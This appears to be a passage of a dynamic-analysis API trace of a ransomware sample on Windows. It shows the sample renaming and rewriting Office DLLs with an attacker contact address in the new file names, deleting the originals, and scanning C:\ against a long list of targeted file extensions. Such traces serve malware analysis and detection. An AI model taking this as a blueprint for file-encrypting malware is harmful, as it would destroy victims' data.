SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.990] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0061.990] GetLastError () returned 0x0 [0061.990] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x48990, lpOverlapped=0x0) returned 1 [0061.997] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x489a0, lpOverlapped=0x0) returned 1 [0062.002] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.002] WriteFile (in: hFile=0x23c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0062.002] SetEndOfFile (hFile=0x23c) returned 1 [0062.002] CloseHandle (hObject=0x23c) returned 1 [0062.003] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.003] SetEndOfFile (hFile=0x1dc) returned 1 [0062.005] CloseHandle (hObject=0x1dc) returned 1 [0062.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0062.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.006] lstrlenW (lpString=".doc") returned 4 [0062.006] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.006] lstrlenW (lpString=".docx") returned 5 [0062.006] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0062.006] lstrlenW (lpString=".pdf") returned 4 [0062.006] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.006] lstrlenW (lpString=".xls") returned 4 [0062.006] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.006] lstrlenW (lpString=".xlsx") returned 5 [0062.006] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0062.006] lstrlenW (lpString=".ppt") returned 4 [0062.006] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.006] lstrlenW (lpString=".zip") returned 4 [0062.006] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.006] lstrlenW (lpString=".rar") returned 4 [0062.006] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString=".bz2") returned 4 [0062.007] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.007] lstrlenW (lpString=".7z") returned 3 [0062.007] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString=".dbf") returned 4 [0062.007] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString=".1cd") returned 4 [0062.007] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString=".jpg") returned 4 [0062.007] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString=".doc") returned 4 [0062.007] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString=".docx") returned 5 [0062.007] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0062.007] lstrlenW (lpString=".pdf") returned 4 [0062.007] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString=".xls") returned 4 [0062.007] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString=".xlsx") returned 5 [0062.007] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0062.007] lstrlenW (lpString=".ppt") returned 4 [0062.007] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.007] lstrlenW (lpString=".zip") returned 4 [0062.007] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.007] lstrlenW (lpString=".rar") returned 4 [0062.007] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.008] lstrlenW (lpString=".bz2") returned 4 [0062.008] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.008] lstrlenW (lpString=".7z") returned 3 [0062.008] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.008] lstrlenW (lpString=".dbf") returned 4 [0062.008] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.008] lstrlenW (lpString=".1cd") returned 4 [0062.008] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL") returned 66 [0062.008] lstrlenW (lpString=".jpg") returned 4 [0062.008] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.008] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0062.008] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0062.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.009] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3050912) returned 1 [0062.009] CloseHandle (hObject=0x1dc) returned 1 [0062.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0062.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0062.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.491] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0062.491] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.491] ReadFile (in: hFile=0x16c, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.501] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.501] ReadFile (in: hFile=0x16c, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.533] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.533] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0062.533] ReadFile (in: hFile=0x16c, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.578] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.578] WriteFile (hFile=0x16c, lpBuffer=0x3d90020, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0) Thread: id = 18 os_tid = 0xa0c [0033.003] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38e06c0 [0033.004] lstrlenW (lpString="C:") returned 2 [0033.004] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x501018 [0033.004] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.004] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.004] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.004] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.004] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0033.005] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.005] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a0d98 [0033.005] FindNextFileW (in: hFindFile=0x5a0d98, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.005] FindNextFileW (in: hFindFile=0x5a0d98, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.005] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.005] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.005] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.005] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.005] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.006] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.006] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1de0 [0033.006] FindNextFileW (in: hFindFile=0x5a1de0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.006] FindNextFileW (in: hFindFile=0x5a1de0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.006] lstrlenW (lpString="desktop.ini") returned 11 [0033.006] lstrlenW (lpString=".1cd") returned 4 [0033.006] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.006] lstrlenW (lpString=".3ds") returned 4 [0033.006] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.006] lstrlenW (lpString=".3fr") returned 4 [0033.006] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.006] lstrlenW (lpString=".3g2") returned 4 [0033.006] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.006] lstrlenW (lpString=".3gp") returned 4 [0033.006] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.006] lstrlenW (lpString=".7z") returned 3 [0033.006] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.006] lstrlenW (lpString=".accda") returned 6 [0033.006] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.006] lstrlenW (lpString=".accdb") returned 6 [0033.006] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.006] lstrlenW (lpString=".accdc") returned 6 [0033.006] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.006] lstrlenW (lpString=".accde") returned 6 [0033.007] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.007] lstrlenW (lpString=".accdt") returned 6 [0033.007] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.007] lstrlenW (lpString=".accdw") returned 6 [0033.007] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.007] lstrlenW (lpString=".adb") returned 4 [0033.007] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".adp") returned 4 [0033.007] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai") returned 3 [0033.007] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.007] lstrlenW (lpString=".ai3") returned 4 [0033.007] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai4") returned 4 [0033.007] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai5") returned 4 [0033.007] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai6") returned 4 [0033.007] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai7") returned 4 [0033.007] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ai8") returned 4 [0033.007] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".anim") returned 5 [0033.007] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.007] lstrlenW (lpString=".arw") returned 4 [0033.007] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".as") returned 3 [0033.007] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.007] lstrlenW (lpString=".asa") returned 4 [0033.007] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".asc") returned 4 [0033.007] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.007] lstrlenW (lpString=".ascx") returned 5 [0033.007] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.008] lstrlenW (lpString=".asm") returned 4 [0033.008] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".asmx") returned 5 [0033.008] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.008] lstrlenW (lpString=".asp") returned 4 [0033.008] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".aspx") returned 5 [0033.008] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.008] lstrlenW (lpString=".asr") returned 4 [0033.008] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".asx") returned 4 [0033.008] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".avi") returned 4 [0033.008] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".avs") returned 4 [0033.008] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".backup") returned 7 [0033.008] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.008] lstrlenW (lpString=".bak") returned 4 [0033.008] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".bay") returned 4 [0033.008] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".bd") returned 3 [0033.008] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.008] lstrlenW (lpString=".bin") returned 4 [0033.008] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".bmp") returned 4 [0033.008] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".bz2") returned 4 [0033.008] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.008] lstrlenW (lpString=".c") returned 2 [0033.008] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.008] lstrlenW (lpString=".cdr") returned 4 [0033.008] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cer") returned 4 [0033.009] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cf") returned 3 [0033.009] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.009] lstrlenW (lpString=".cfc") returned 4 [0033.009] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cfm") returned 4 [0033.009] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cfml") returned 5 [0033.009] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.009] lstrlenW (lpString=".cfu") returned 4 [0033.009] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".chm") returned 4 [0033.009] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cin") returned 4 [0033.009] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".class") returned 6 [0033.009] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.009] lstrlenW (lpString=".clx") returned 4 [0033.009] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".config") returned 7 [0033.009] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.009] lstrlenW (lpString=".cpp") returned 4 [0033.009] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.009] lstrlenW (lpString=".cr2") returned 4 [0033.010] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".crt") returned 4 [0033.010] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".crw") returned 4 [0033.010] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".cs") returned 3 [0033.010] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.010] lstrlenW (lpString=".css") returned 4 [0033.010] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".csv") returned 4 [0033.010] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".cub") returned 4 [0033.010] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dae") returned 4 [0033.010] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dat") returned 4 [0033.010] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".db") returned 3 [0033.010] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.010] lstrlenW (lpString=".dbf") returned 4 [0033.010] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dbx") returned 4 [0033.010] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dc3") returned 4 [0033.010] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dcm") returned 4 [0033.010] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dcr") returned 4 [0033.010] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".der") returned 4 [0033.010] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dib") returned 4 [0033.010] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.010] lstrlenW (lpString=".dic") returned 4 [0033.010] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dif") returned 4 [0033.011] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".divx") returned 5 [0033.011] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".djvu") returned 5 [0033.011] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".dng") returned 4 [0033.011] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".doc") returned 4 [0033.011] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".docm") returned 5 [0033.011] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".docx") returned 5 [0033.011] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".dot") returned 4 [0033.011] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dotm") returned 5 [0033.011] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".dotx") returned 5 [0033.011] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.011] lstrlenW (lpString=".dpx") returned 4 [0033.011] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dqy") returned 4 [0033.011] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dsn") returned 4 [0033.011] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.011] lstrlenW (lpString=".dt") returned 3 [0033.011] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.011] lstrlenW 